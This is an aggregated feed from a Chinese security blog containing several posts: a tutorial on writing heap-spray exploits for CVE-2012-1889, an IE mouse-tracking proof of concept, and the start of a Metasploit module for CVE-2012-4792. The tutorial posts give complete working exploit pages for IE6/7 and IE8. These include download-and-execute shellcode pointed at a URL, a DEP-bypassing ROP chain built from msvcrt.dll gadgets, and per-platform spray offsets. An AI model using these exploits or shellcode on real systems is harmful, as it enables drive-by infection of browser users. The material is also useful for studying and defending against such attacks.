Quantcast
Channel: 程序人生 »代码疯子
Viewing all 59 articles
Browse latest View live

实战HeapSpray之CVE2012-1889 Exploit编写(二)

$
0
0

接上一篇文章《实战HeapSpray之CVE2012-1889 Exploit编写(一)》,本文讲介绍HeapSpray技术以及XP下IE6 / IE7 Exploit开发过程。

HeapSpray技术介绍
HeapSpray即堆喷射,本身并不是一门新的利用技术,最早的文档是由Skylined在很久之前记录的。通过Wikipedia可以知道最早使用HeapSpray技术是在2001年(MS01-033)。2004年,Skylined在IE的IFrame漏洞(MS04-040)利用程序中使用到这种技术。直至今日,许多年过去了,它依然被网马广泛地运用在许多浏览器利用代码中。虽然有许多可行的方法可以检测和防御堆喷射,但它目前依然是可用的,其传输机制可能一直在变,但其基本思路依然保持一致。

在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×90能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。这个过程如图所示:
HeapSpray技术示意图
可以使用类似下面这样的JavaScript代码产生的内存片来覆盖内存:

1
2
3
4
5
6
7
8
9
var nop = "\u9090\u9090";
while (nop.length < 0x100000/2){
    nop += nop;
}
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var slide = new Array();
for (var i = 0; i < 200; i++){
    slide[i] = nop + shellcode;
}

上面的代码分配200个1M大小的内存块,每个内存块由0×90和ShellCode填充,其中内存块的前面由0×90填充,ShellCode位于末尾部分。
需要注意的一点是,在JavaScript中以转义形式存储的字符串以Unicode形式存储,length属性返回字符串的Unicode字符个数,所以进行了除以2的操作;此外,JavaScript中每一个内存都存在一些额外的管理信息,所以在填充内存块时需要减去这些信息的长度,具体的信息如图所示:
JavaScript动态分配内存结构
在实际操作时,只需要任意一个1M大小的内存块的任意一个NOP覆盖到0x0C0C0C0C上面,我们的ShellCode就会最终被执行。采用1M大小作为内存块的单位,可以使得NOP覆盖0x0C0C0C0C的几率大大增加;而如果采用较小的尺寸,0x0C0C0C0C有可能被ShellCode所覆盖,那是溢出极有可能会失败。

IE6/7 下HeapSpray实战
在弄清楚HeapSpray的原理之后,结合该漏洞的利用技巧,我们可以自己构造一个漏洞利用程序。不过,考虑这个漏洞的具体情形,我们不应该在堆内存块中填充大量的0×90,因为真正的EIP的转移在于call dword ptr [ecx+18h]处,如果ecx的值是0×90909090,那么程序会跳转到一个内核地址(0×90909090 + 0×18 = 0x909090A8)上面去执行代码,应用层程序不可以直接访问内核空间的内存,这样无疑会触发异常退出程序。一个好的解决办法是直接用0x0C来填充内存块,这样0x0C0C0C0C + 0×18 = 0x0C0C0C24处执行,而机器码0C0C对应的x86汇编指令是or al, 0c,这样这些指令仅仅会影响到al寄存器的值,对执行我们的ShellCode没有任何影响。

在编写利用程序之前,我们还需要讲ShellCode转换为JavaScript支持的形式。我们获取一段“下载并执行”(Download_Exec)的ShellCode之后,一般是C语言的形式,下面讲其转换为JavaScript字符串形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
 
unsigned char buf[] = {
	"\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2"
	"\xfa\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd"
	"\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91"
	"\x12\x41\x12\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a"
	"\x62\x12\xd7\x8d\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b"
	"\xf3\x97\xc0\x6a\x3f\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70"
	"\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa"
	"\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78\x9b\x9a\x58\x12"
	"\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\xf3\x9d\xc0"
	"\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3\x12"
	"\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a\x5f\x8a\xcf\xdf\x19"
	"\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9\x12\x45\xf3\xb9"
	"\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e\xdd\x9a\x9d"
	"\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce\x65\x12"
	"\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c\x59"
	"\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59"
	"\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd"
	"\xfd\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4"
	"\xdd\xf0\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc"
	"\xe1\xfc\xfa\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99"
	"\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb"
	"\xf5\xf4\xf6\xf7\x99\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8"
	"\xfd\xcd\xf6\xdf\xf0\xf5\xfc\xd8\x99\x68\x74\x74\x70\x3A\x2F"  // URL开始于0x68
	"\x2F\x74\x65\x73\x74\x2E\x63\x6F\x6D\x2F\x74\x65\x73\x74\x2E"  // URL为http://test.com/test.exe 可自行更改
	"\x65\x78\x65\x80"};                                            // URL结束于0x65
 
int main(int argc, char **argv)
{
	int i = 0;
	int n = sizeof(buf)-1;
	if (n & 1) n--;
	FILE *fp = fopen("js.txt", "w");
	for (i = 0; i < n; i += 2)
	{
		fprintf(fp, "\\u%02X%02X", buf[i+1], buf[i]);
	}
	n = sizeof(buf)-1;
	if (n & 1)
	{
		fprintf(fp, "\\u%02X%02X", 0, buf[i]);
	}
	fclose(fp);
 
	return 0;
}

这段ShellCode中绑定的URL为http://test.com/test.exe(末尾蓝色部分的代码),我们可以自己配置。
现在可以编写一个小程序将其转换为JavaScript支持的Unicode形式,结合PoC代码,IE6/IE7漏洞利用程序的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
		var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065";
		var fill = "\u0c0c\u0c0c";
		while (fill.length <= 0x100000 / 2){
			fill += fill;
		}
		fill = fill.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
		var slide = new Array();
		for (var i = 0; i < 200; i++){
			slide[i] = fill + shellcode;
		}
		var obj = document.getElementById('poc').object;
		var src = unescape("%u0c0c%u0c0c");
		while (src.length < 0x1002) src += src;
		src = "\\\\xxx" + src;
		src = src.substr(0, 0x1000 - 10);
		var pic = document.createElement("img");
		pic.src = src;
		pic.nameProp;
		obj.definition(0);
    </script>
</body>
</html>

现在在真实主机上运行HTTP服务,虚拟机为测试机器。其中真实主机的IP地址为192.168.137.1,虚拟机的IP地址为192.168.137.2,给虚拟机添加一条hosts记录:

192.168.137.1	test.com

这样可以让虚拟机访问test.com时重定向到真实主机的HTTP服务。在虚拟机中的IE6下打开漏洞利用页面,成功下载并执行test.exe,截图就省略了。在Windows XP + IE7环境下,该页面仍然可以成功攻击有漏洞的机器,因为XP下IE6和IE7都没有特殊的保护机制。然后在Windows XP + IE8的环境下,无法成功攻击漏洞机器,不仅仅堆喷射代码需要改动,而且IE8新增了DEP保护机制。具体请期待第三篇《实战HeapSpray之CVE2012-1889 Exploit编写(三)


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 实战HeapSpray之CVE2012-1889 Exploit编写(二)
作者:代码疯子

没有相关文章推荐


[转]IE鼠标追踪漏洞

$
0
0

国外网站最近披露了一个IE新漏洞,该漏洞允许攻击者跟踪屏幕上在任何位置的鼠标光标。这会危及到安全的虚拟键盘,让黑客如同使用键盘记录器一样,获得用户敏感信息。尽管目前已报告这个漏洞,并且广告商已将漏洞利用到数十亿次的广告展示中,但微软研究员却表示,近期无修复计划。据报道,微软目前所有支持的浏览器版本均受影响,这包括IE6、IE7、IE8、IE9和IE10。

通过利用fireEvent,触发onmousemove事件,可以完整的记录鼠标的移动路径,甚至在IE最小化或者不是当前窗口的情况下也可以获取当前鼠标坐标。PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <title>Exploit Demo</title>
        <script type="text/javascript">
            window.attachEvent("onload", function() {
                var detector = document.getElementById("detector");
                detector.attachEvent("onmousemove", function (e) {
                    detector.innerHTML = e.screenX + ", " + e.screenY;
                });
                setInterval(function () {
                    detector.fireEvent("onmousemove");
                }, 100);
            });
        </script>
    </head>
    <body>
        <div id="detector"></div>
    </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<HTML>
    <HEAD>
        <SCRIPT>
            function fnFireEvents() {
                div.innerText = "The cursor has moved over me!";
                btn.fireEvent("onclick");
            }
        </SCRIPT>
    </HEAD>
    <BODY>
        <h1>Using the fireEvent method</h1>
        By moving the cursor over the DIV below, the button is clicked.
        <DIV ID="div" onmouseover="fnFireEvents();">
            Mouse over this!
        </DIV>
        <BUTTON ID="btn" ONCLICK="this.innerText='I have been clicked!'">Button</BUTTON>
    </BODY>
</HTML>

视频演示:

Reference:
IE曝网站鼠标跟踪漏洞 用户隐私遭威胁
IE(6-10)鼠标跟踪漏洞
http://v.youku.com/v_show/id_XNDg3NjIxMzA4.html


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [转]IE鼠标追踪漏洞
作者:代码疯子

没有相关文章推荐

实战HeapSpray之CVE2012-1889 Exploit编写(三)

$
0
0

接前面两篇文章《实战HeapSpray之CVE2012-1889 Exploit编写(一)》,《实战HeapSpray之CVE2012-1889 Exploit编写(二)》,本文讲介绍IE8下HeapSpray注意点以及XP下IE8 Exploit开发过程。

ROP技术简介
溢出攻击的根源在于现代计算机对数据和代码没有明确的区分这一先天缺陷,而DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。DEP的基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入ShellCode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

在Windows下DEP分为软件DEP和硬件DEP,这里我们需要绕过硬件DEP(软件DEP主要指SafeSEH机制,这里不做介绍)。微软从Windows XP SP2 和Windows Server 2003 SP1 开始引入硬件DEP 的支持,硬件DEP利用了支持DEP的CPU的NX(AMD,No-Execute Page-Protection)或XD(Intel,Execute Disable Bit)位,并将特定部分的内存(只能包含数据,比如说默认的堆、栈、内存池等)标记为不可执行。

ROP(Return Oriented Programming,返回导向编程)是绕过DEP保护的方法之一。ROP的思路是利用程序中已有的代码指令片段来调用一些Windows API来关闭或绕过DEP,可能的API有:
1. VirtualAlloc
2. HeapCreate + HeapAlloc + 复制内存
3. SetProcessDEPPolicy
4. NtSetInformationProcess
5. VirtualProtect
6. WriteProcessMemory
我们关注的是VirtualProtect函数,我们可以调用这个函数来修改内存块的属性为可执行,就可以绕过DEP执行ShellCode了。我们需要找到一系列以retn指令结尾的指令,并把目标指令的地址写到栈中,这样每执行完一条指令之后就会接着执行下一条指令,最终达到绕过DEP的目的。ROP示意图如图所示:
Return Orinted Programming ROP示意图

IE8 下HeapSpray实战
如果仍然使用前面IE6的漏洞利用代码,IE8进程会提示非法内存访问错误,而不是预期的DEP提示窗口,在调试器下跟踪,发现0x0C0C0C0C处并没有我们预期的数据,如图所示:
IE8下HeapSpray测试
从图中可以看到,内存数据分布仅达到0x042B0023,远远没有达到0x0C0C0C0C的范围,为了解决这一问题,只需要更改给slide数组赋值这一行数据即可:

    var slide = new Array();
    for (var i = 0; i < 200; i++){
        slide[i] = fsc.substring(0, fsc.length);
    }

其中fsc是我们要填充的数据。如果再次对IE8进行测试,就可以看到数据执行保护的提示了,如图所示:
IE8数据执行保护提示
为了绕过DEP,我们需要前面所讨论的ROP技术,另外,必须保证跳转到堆上的时候正好位于ROP链的第一条指令,这就涉及到精准的堆喷射问题。采用如下的技术,我们可以保证0x0C0C0C0C处即为ROP链的第一个字节。
以Windows XP SP3为例,使用Windbg调试打开PoC页面的IE进程,当完成堆的喷射之后,查看0x0C0C0C0C所在的堆块的属性,如下面的文字所示:

0:008> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c070018 fff8 0000  [0b]   0c070020    7ffc0 - (busy VirtualAlloc)
          ? <Unloaded_ud.drv>+7ffb9

可以看出,0x0C0C0C0C所在堆块的UserPtr为0x0C070020,可以计算:

0x0C0C0C0C - 0x0C070020 = 0x50BEC
0x50BEC / 2 = 0x285F6
0x285F6 % 0x1000 = 0x5F6

其中第一个表达式求出0x0C0C0C0C到UserPtr的距离,因为JavaScript中字符串是Unicode形式的,所以在第二个表达式中我们进行了除以2的操作,又因为堆块的对齐粒度是0×1000,所以将结果对0×1000进行取余。注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同,但是在特定的环境下计算出来的最终结果基本是一致的,如本实验在XP SP3的IE8下为0x5F6(某些IE8环境下得出的结果可能是0x5F4),于是堆中每一块0×1000大小的数据看起来如图所示:
精准堆喷射内存布局
现在我们还需要一个可靠的ROP Chain,使用Immunity Debugger配合Mona插件可以轻松搞定,只需执行如下命令:

!mona rop -m msvcrt.dll

我们选择VirtualProtect函数的JavaScript代码。同时,因为我们没办法控制栈上的数据分布,但是可以控制堆上的数据分布,于是需要一个叫做stackpivot的小东西,这里选择如下的指令:

00401000     94             XCHG EAX,ESP
00401001     C3             RETN
对应的字节为\x94\xC3, 可以使用如下的mona命令查找:
!mona find -s "\x94\xC3" -m msvcrt.dll

有了这两条指令,我们可以把ESP指向堆上面,如果EAX也指向堆上面的话。上面的指令全部选取自msmvrt.dll模块,至少实践经验表明在XP SP3下是稳定的。

至此ROP需要的东西基本齐全了,下面回到EIP的控制上面来。在IE6下,通过汇编指令call dword ptr [ecx+18h]来转移EIP到堆上,对于IE8,我们无法再使用这条指令来转移EIP到堆上,因为执行这条指令的时候EAX和[EAX]的值都是0x0C0C0C0C,如果通过stackpivot设置ESP为0x0C0C0C0C,接着retn,EIP也将被设置为0x0C0C0C0C,而这个时候这个地方的代码是不能够被执行的(因为有DEP保护)。

现在需要变换利用思路了,如图所示:
 IE8下EIP转移
我们将在栈上填充大量的0x0c0c0c08(不再是0x0c0c0c0c),这样执行mov eax, dword ptr [ebp-14h]之后,eax被0x0c0c0c08填充;堆上面仍然用大量0C作为填充物,于是执行mov ecx, dword ptr [eax]时,ecx被设置为0x0c0c0c0c;注意0x0c0c0c0c + 0×18 = 0x0c0c0c24,我们将在这个位置放置一个retn指令的地址,这样在执行call dword ptr [ecx+18h]的时候,会跳转去执行retn,同时又会返回来执行call的下一条指令;而[esi]寄存器的值也是0x0c0c0c0c,那么最终eax会被设置为0x0c0c0c0c,同时call dword ptr [eax+8]会跳转到0x0C0C0C14处执行代码,我们将在这个位置放置stackpivot的地址,最终的ROP链如图所示:
ROP链
最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
		// [ Shellcode ]
		var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065";
		// [ ROP Chain ]
		// 0x0C0C0C24 -> # retn
		// 0x0C0C0C14 -> # xchg eax, esp # retn
        // Start from 0x0c0c0c0c
		var rop_chain = "\uBE4C\u77BE" + // 0x77BEBE4C	# retn [msvcrt.dll]
                        "\uBE4B\u77BE" + // 0x77BEBE4B	# pop ebp # retn [msvcrt.dll]
                        "\u5ED5\u77BE" + // 0x77BE5ED5	# xchg eax, esp # retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C	# retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C	# retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C	# retn [msvcrt.dll]
                        "\uBE4C\u77BE" + // 0x77BEBE4C	# retn [msvcrt.dll]
                        // The real rop chain
                        "\ube4b\u77be" + // 0x77bebe4b : ,# POP EBP # RETN [msvcrt.dll]
                        "\ube4b\u77be" + // 0x77bebe4b : ,# skip 4 bytes [msvcrt.dll]
                        "\u6e9d\u77c1" + // 0x77c16e9d : ,# POP EBX # RETN [msvcrt.dll]
                        "\uE000\u0000" + // 0x0000E000 : ,# 0x0000E000-> ebx [dwSize]
                        "\ucdec\u77c1" + // 0x77c1cdec : ,# POP EDX # RETN [msvcrt.dll]
                        "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
                        "\u79da\u77bf" + // 0x77bf79da : ,# POP ECX # RETN [msvcrt.dll]
                        "\uf67e\u77c2" + // 0x77c2f67e : ,# &Writable location [msvcrt.dll]
                        "\uaf6b\u77c0" + // 0x77c0af6b : ,# POP EDI # RETN [msvcrt.dll]
                        "\u9f92\u77c0" + // 0x77c09f92 : ,# RETN (ROP NOP) [msvcrt.dll]
                        "\u6f5a\u77c1" + // 0x77c16f5a : ,# POP ESI # RETN [msvcrt.dll]
                        "\uaacc\u77bf" + // 0x77bfaacc : ,# JMP [EAX] [msvcrt.dll]
                        "\u289b\u77c2" + // 0x77c2289b : ,# POP EAX # RETN [msvcrt.dll]
                        "\u1131\u77be" + // 0x77BE1131 : ,# ptr to &VirtualProtect() [IAT msvcrt.dll] 0x20-0xEF=0x31
                        "\u67f0\u77c2" + // 0x77c267f0 : ,# PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                        "\u1025\u77c2";  // 0x77c21025 : ,# ptr to 'push esp #  ret ' [msvcrt.dll]
		// [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes
		var fill = "\u0c0c\u0c0c";
		while (fill.length < 0x1000){
			fill += fill;
		}
		// [ padding offset ]
		padding = fill.substring(0, 0x5F6);
		// [ fill each chunk with 0x1000 bytes ]
		evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length);
		// [ repeat the block to 512KB ]
		while (evilcode.length < 0x40000){
			evilcode += evilcode;
		}
		// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
		var block = evilcode.substring(2, 0x40000 - 0x21);
		// [ Allocate 200 MB ]
		var slide = new Array();
		for (var i = 0; i < 400; i++){
			slide[i] = block.substring(0, block.length);
		}
		// [ Vulnerability Trigger ]
		var obj = document.getElementById('poc').object;
		var src = unescape("%u0c08%u0c0c");		// fill the stack with 0x0c0c0c08
		while (src.length < 0x1002) src += src;
		src = "\\\\xxx" + src;
		src = src.substr(0, 0x1000 - 10);
		var pic = document.createElement("img");
		pic.src = src;
		pic.nameProp;
		obj.definition(0);
    </script>
</body>
</html>

有几个需要注意的地方是:
1. mona找到的ROP代码中指向VirtualProtect函数地址的问题,注意对AL减去0xEF;
2. block的生成substring的参数问题,XP SP3下固定这种模式,不同的系统参数不同;
3. 注意pushad压栈顺序是EAX, ECX, EDX, EBX, 原始ESP, EBP, ESI, EDI,明白pushad将有助于对上述ROP代码的理解。

对于第2点,已知的参数形式如下:

XP SP3 – IE7 block = shellcode.substring(2,0x10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2);
Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2);
XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);

ROP在堆块中的偏移值:

IE7        0x5FA
IE8        0x5F4/0x5F6
IE9        0x5FC/0x5FE
Firefox9   0x606

可能不同语言版本会存在偏差。

Windows Vista / 7下ROP的机制是一样的,只是使用的模块不再是msvcrt.dll,可以使用msvcr71.dll,具体实现机制不再赘述。

网马生成器编写
略过,其实看完这三篇文章,这个就很简单了。

参考文献
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889
http://technet.microsoft.com/zh-cn/security/bulletin/ms12-043
http://technet.microsoft.com/zh-cn/security/advisory/2719615
https://www.htbridge.com/publication/CVE-2012-1889.pdf
http://blog.csdn.net/magictong/article/details/7391397
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
http://www.greyhathacker.net/?p=549
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://riusksk.blogbus.com/logs/223258613.html
《0DAY安全*软件漏洞分析技术》第二版


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 实战HeapSpray之CVE2012-1889 Exploit编写(三)
作者:代码疯子

没有相关文章推荐

[CVE-2012-4792]IE 0DAY – CDwnBindInfo Object Use-After-Free Vulnerability

$
0
0

年末新一波IE0day来袭。国外安全公司报道捕获了一个新的IE 0DAY攻击,该IE 0DAY攻击确认影响全补丁的IE8,可能影响其他版本的IE。IE用户请先使用Google Chrome、Firefox等非IE浏览器,避免潜在的威胁。也可安装腾讯电脑管家,可有效拦截浏览器堆喷射HeapSpray)攻击代码。

Metasploit已经发布exploit利用模块,用户可以“Framework Update”更新批处理(C:\metasploit\dev_msfupdate.bat)获取名为ie_cdwnbindinfo_uaf.rb ie_cbutton_uaf.rb的攻击模块。点击下载:ie_cdwnbindinfo_uaf.rb(请自行去除“_.txt”后缀)

阅读更多:
启明星辰事件发布:CVE-2012-4792
Happy New Year Analysis of CVE-2012-4792
CVE-2012-4792
new IE 0day coming-mshtml!CDwnBindInfo object use after free vulnerability
CFR WATERING HOLE ATTACK DETAILS
Attack and IE 0day Informations Used Against Council on Foreign Relations
Microsoft Security Advisory (2794220) Vulnerability in Internet Explorer Could Allow Remote Code Execution

Metasploit ie_cdwnbindinfo_uaf.rb模块:
Metasploit ie_cbutton_uaf.rb模块:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
 
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
 
	def initialize(info={})
		super(update_info(info,
			'Name'           => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Microsoft Internet Explorer. A
				use-after-free condition occurs when a CButton object is freed, but a reference
				is kept and used again during a page reload, an invalid memory that's controllable
				is used, and allows arbitrary code execution under the context of the user.
 
					Please note: This vulnerability has been exploited in the wild targeting
				mainly China/Taiwan/and US-based computers.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'eromang',
					'mahmud ab rahman',
					'juan vazquez',
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-4792' ],
					[ 'US-CERT-VU', '154201' ],
					[ 'BID', '57070' ],
					[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
					[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
					[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]
				],
			'Payload'        =>
				{
					'Space'        => 980,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows Vista',        { 'Rop' => :jre,    'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
